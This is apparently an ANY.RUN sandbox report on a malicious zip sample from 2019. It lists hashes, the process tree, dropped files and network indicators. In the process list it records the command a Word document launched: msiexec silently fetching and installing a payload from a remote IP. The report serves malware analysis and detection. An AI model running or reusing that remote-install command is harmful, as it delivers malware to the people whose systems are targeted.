analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

52139fb61e17ed4b709b77463e52c413-sample.zip

Full analysis: https://app.any.run/tasks/8770e2a8-dd7d-4a93-afb7-630e2669b104
Verdict: Malicious activity
Analysis date: July 11, 2019, 15:00:32
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

FAAF6D0C11390477D1F9E4055DED5238

SHA1:

0AB6BBAF526E695797583781ADFC99F679C51FE9

SHA256:

8E3780ABA46ADEACC80B0EF43F64752094A565FC48214373B05024DE6A1B1950

SSDEEP:

3072:FysZ+eQCRmWvZum4CdJPBwXZk12YIhzM0xgWywGjVXEMaJTE6fdUI:IAX9mWYfGNbwhzMPW5GZLaJYwdUI

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Microsoft Installer as loader

      • WINWORD.EXE (PID: 1696)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 1696)

  • SUSPICIOUS

    • Uses RUNDLL32.EXE to load library

      • WinRAR.exe (PID: 3120)

    • Starts Microsoft Office Application

      • rundll32.exe (PID: 3596)

  • INFO

    • Application launched itself

      • AcroRd32.exe (PID: 236)
      • RdrCEF.exe (PID: 3840)

    • Manual execution by user

      • rundll32.exe (PID: 3596)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1696)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1696)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: 0bab91b3290a63c14f2bcc134e89c47b520f8e09d97d1771ec2c2506dce0a57e
ZipUncompressedSize: 183808
ZipCompressedSize: 147130
ZipCRC: 0x26f2aae8
ZipModifyDate: 2019:07:11 14:32:12
ZipCompression: Deflated
ZipBitFlag: 0x0009
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
48
Monitored processes
11
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs rundll32.exe no specs acrord32.exe no specs acrord32.exe no specs rdrcef.exe no specs rdrcef.exe no specs rundll32.exe no specs winword.exe no specs msiexec.exe no specs msiexec.exe msiexec.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3120"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\52139fb61e17ed4b709b77463e52c413-sample.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.60.0
3608"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\AppData\Local\Temp\Rar$DIb3120.25938\0bab91b3290a63c14f2bcc134e89c47b520f8e09d97d1771ec2c2506dce0a57eC:\Windows\system32\rundll32.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
236"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIb3120.25938\0bab91b3290a63c14f2bcc134e89c47b520f8e09d97d1771ec2c2506dce0a57e"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe—rundll32.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
MEDIUM
Description:
Adobe Acrobat Reader DC
Exit code:
1
Version:
15.23.20070.215641
3884"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" --type=renderer "C:\Users\admin\AppData\Local\Temp\Rar$DIb3120.25938\0bab91b3290a63c14f2bcc134e89c47b520f8e09d97d1771ec2c2506dce0a57e"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe—AcroRd32.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe Acrobat Reader DC
Exit code:
1
Version:
15.23.20070.215641
3840"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16448250C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe—AcroRd32.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
MEDIUM
Description:
Adobe RdrCEF
Exit code:
3221225547
Version:
15.23.20053.211670
2916"C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-3d-apis --disable-databases --disable-direct-npapi-requests --disable-file-system --disable-notifications --disable-shared-workers --disable-direct-write --lang=en-US --lang=en-US --log-severity=disable --product-version="ReaderServices/15.23.20053 Chrome/45.0.2454.85" --device-scale-factor=1 --enable-delegated-renderer --num-raster-threads=2 --gpu-rasterization-msaa-sample-count=8 --content-image-texture-target=3553 --video-image-texture-target=3553 --disable-accelerated-video-decode --disable-webrtc-hw-encoding --disable-gpu-compositing --channel="3840.0.1952991800\1982741813" --allow-no-sandbox-job /prefetch:673131151C:\Program Files\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe—RdrCEF.exe
User:
admin
Company:
Adobe Systems Incorporated
Integrity Level:
LOW
Description:
Adobe RdrCEF
Exit code:
0
Version:
15.23.20053.211670
3596"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\admin\Desktop\0bab91b3290a63c14f2bcc134e89c47b520f8e09d97d1771ec2c2506dce0a57eC:\Windows\system32\rundll32.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1696"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\0bab91b3290a63c14f2bcc134e89c47b520f8e09d97d1771ec2c2506dce0a57e"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3308msiexec /q step1=commonl step2=files /i http://195.123.245.185/04mC:\Windows\system32\msiexec.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
1619
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
2508C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Total events
2 365
Read events
1 728
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
6
Text files
2
Unknown types
9

Dropped files

PID
Process
Filename
Type
3884AcroRd32.exeC:\Users\admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal —
MD5:—
SHA256:—
3884AcroRd32.exeC:\Users\admin\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt16.lst.3884 —
MD5:—
SHA256:—
3884AcroRd32.exeC:\Users\admin\AppData\Local\Adobe\Acrobat\DC\AdobeFnt16.lst.3884 —
MD5:—
SHA256:—
1696WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9509.tmp.cvr —
MD5:—
SHA256:—
236AcroRd32.exeC:\Users\admin\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt15.lstps
MD5:0D5624ABBF1C79AEC38CBE52B56038B4
SHA256:AB5A46BA09F515E56892C0270D67EED215E56E43557B83A2CE295F2ED87D09D6
236AcroRd32.exeC:\Users\admin\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt15.lstps
MD5:25E48F152F9DB94DD9AAE6C296E3C98D
SHA256:A26C91DE905EBB8932CA931DBB68D589D058E7DEDFFAD02039FC8740E9E7BEB5
236AcroRd32.exeC:\Users\admin\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt15.lstps
MD5:76C993D6E29FBE12DA4525151364653B
SHA256:F1CBECC2D9952366CE231E4B651EC8354C17288AEB1908B4A01B6E5A29F6270E
3884AcroRd32.exeC:\Users\admin\AppData\Local\Adobe\Acrobat\DC\UserCache.binbinary
MD5:C60353BB607FB7E98825B2D8552E5DC9
SHA256:C55DB02BADF8AC5EE62B43B07C1602EB4D5B7F34F493EA5E4D044497A1690C89
3120WinRAR.exeC:\Users\admin\AppData\Local\Temp\52139fb61e17ed4b709b77463e52c413-sample\0bab91b3290a63c14f2bcc134e89c47b520f8e09d97d1771ec2c2506dce0a57edocument
MD5:749042D0832AD213C28D2222A1B403E4
SHA256:0BAB91B3290A63C14F2BCC134E89C47B520F8E09D97D1771EC2C2506DCE0A57E
3120WinRAR.exeC:\Users\admin\Desktop\0bab91b3290a63c14f2bcc134e89c47b520f8e09d97d1771ec2c2506dce0a57edocument
MD5:749042D0832AD213C28D2222A1B403E4
SHA256:0BAB91B3290A63C14F2BCC134E89C47B520F8E09D97D1771EC2C2506DCE0A57E
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
0
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2508
msiexec.exe
GET
—
195.123.245.185:80
http://195.123.245.185/04m
UA
—
—
suspicious
2508
msiexec.exe
GET
—
195.123.245.185:80
http://195.123.245.185/04m
UA
—
—
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2508
msiexec.exe
195.123.245.185:80
—
—
UA
suspicious

DNS requests

No data

Threats

PID
Process
Class
Message
2508
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
52139fb61e17ed4b709b77463e52c413-sample.zip